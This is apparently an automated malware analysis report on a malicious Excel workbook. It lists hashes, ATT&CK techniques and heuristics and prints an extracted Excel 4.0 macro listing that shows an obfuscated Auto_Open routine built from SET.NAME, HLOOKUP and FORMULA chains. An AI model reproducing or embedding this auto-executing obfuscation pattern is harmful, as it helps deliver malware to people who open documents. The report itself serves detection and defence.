Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8212a1db9861c5f4…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:09 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: c32ca373415b44d71704a2558a4fcecf SHA-1: 84c32cbff709c230c70ae9cbd34737438a924a03 SHA-256: 8212a1db9861c5f44c81291b3cf1c52bfddc9ff45e9f16275a45d960dbf84568
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open function, which is a known method for executing malicious code. The heuristics indicate the presence of dangerous formula APIs within the macro, suggesting it's designed to run arbitrary commands. The obfuscated document body content does not provide further clues about the specific payload or intent.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6371 bytes
SHA-256: d00b2b45e2ff4daf1085764e73cebebee04122a5f019929239308d4a04680433
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yzn
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E155 
' 0018     23 LABEL : Cell Value, String Constant - dHZSkYIR len=0 
' 0018     26 LABEL : Cell Value, String Constant - EhibofmBFgP len=0 
' 0018     21 LABEL : Cell Value, String Constant - gNUdHa len=0 
' 0018     27 LABEL : Cell Value, String Constant - gZEkjjKusdZz len=0 
' 0018     27 LABEL : Cell Value, String Constant - hGHMdeNmRiYi len=0 
' 0018     27 LABEL : Cell Value, String Constant - HlCHvkFzJUdR len=0 
' 0018     21 LABEL : Cell Value, String Constant - KnDuII len=0 
' 0018     22 LABEL : Cell Value, String Constant - LHyHrHv len=0 
' 0018     27 LABEL : Cell Value, String Constant - LRzlmaQIbfhu len=0 
' 0018     22 LABEL : Cell Value, String Constant - MfBaxUy len=0 
' 0018     20 LABEL : Cell Value, String Constant - oBSLS len=0 
' 0018     22 LABEL : Cell Value, String Constant - QYoJhrF len=0 
' 0018     23 LABEL : Cell Value, String Constant - rcgxNeKF len=0 
' 0018     25 LABEL : Cell Value, String Constant - rucBskdkwv len=0 
' 0018     20 LABEL : Cell Value, String Constant - rwLqG len=0 
' 0018     26 LABEL : Cell Value, String Constant - sfGcAJUeSqr len=0 
' 0018     20 LABEL : Cell Value, String Constant - SoaxA len=0 
' 0018     22 LABEL : Cell Value, String Constant - TCNoNRx len=0 
' 0018     25 LABEL : Cell Value, String Constant - tqlqGvqSIr len=0 
' 0018     25 LABEL : Cell Value, String Constant - YhFPIcHbsd len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  yzn,E63,"SET.NAME("sfGcAJUeSqr",VALUE("0"))",""
'  yzn,E68,"SET.NAME("rwLqG",sfGcAJUeSqr)",""
'  yzn,E71,"SET.NAME("rucBskdkwv",sfGcAJUeSqr)",""
'  yzn,E74,"SET.NAME("HlCHvkFzJUdR",COUNTA(hGHMdeNmRiYi))",""
'  yzn,E78,"SET.NAME("gZEkjjKusdZz",COUNTA(oBSLS))",""
'  yzn,E83,[],""
'  yzn,E86,"SET.NAME("KnDuII","")",""
'  yzn,E90,"rwLqG",""
'  yzn,E94,"SET.NAME("SoaxA",HLOOKUP("*",hGHMdeNmRiYi,rwLqG,FALSE))",""
'  yzn,E98,"MfBaxUy",""
'  yzn,E101,"SET.NAME("TCNoNRx",sfGcAJUeSqr)",""
'  yzn,E103,[],""
'  yzn,E105,"TCNoNRx",""
'  yzn,E109,"rcgxNeKF",""
'  yzn,E113,"dHZSkYIR",""
'  yzn,E115,"QYoJhrF",""
'  yzn,E117,"SET.NAME("YhFPIcHbsd",VALUE(HLOOKUP("*",oBSLS,QYoJhrF,FALSE)))",""
'  yzn,E122,"LHyHrHv",""
'  yzn,E125,"KnDuII",""
'  yzn,E127,"rucBskdkwv",""
'  yzn,E131,NEXT(),""
'  yzn,E133,"LRzlmaQIbfhu",""
'  yzn,E138,"SET.NAME("f",INT(T(FORMULA(T(KnDuII)&"",""&T(LRzlmaQIbfhu)))))",""
'  yzn,E143,"gNUdHa",""
'  yzn,E147,NEXT(),""
'  yzn,E151,RETURN(),""
'  yzn,E180,"SET.NAME("EhibofmBFgP",E63)",""
'  yzn,E184,"hGHMdeNmRiYi",""
'  yzn,E187,"SET.NAME("oBSLS",R68C11)",""
'  yzn,E192,"SET.NAME("gNUdHa",202)",""
'  yzn,E197,"SET.NAME("tqlqGvqSIr",5)",""
'  yzn,E201,EhibofmBFgP(),""
'  yzn,E202,HALT(),""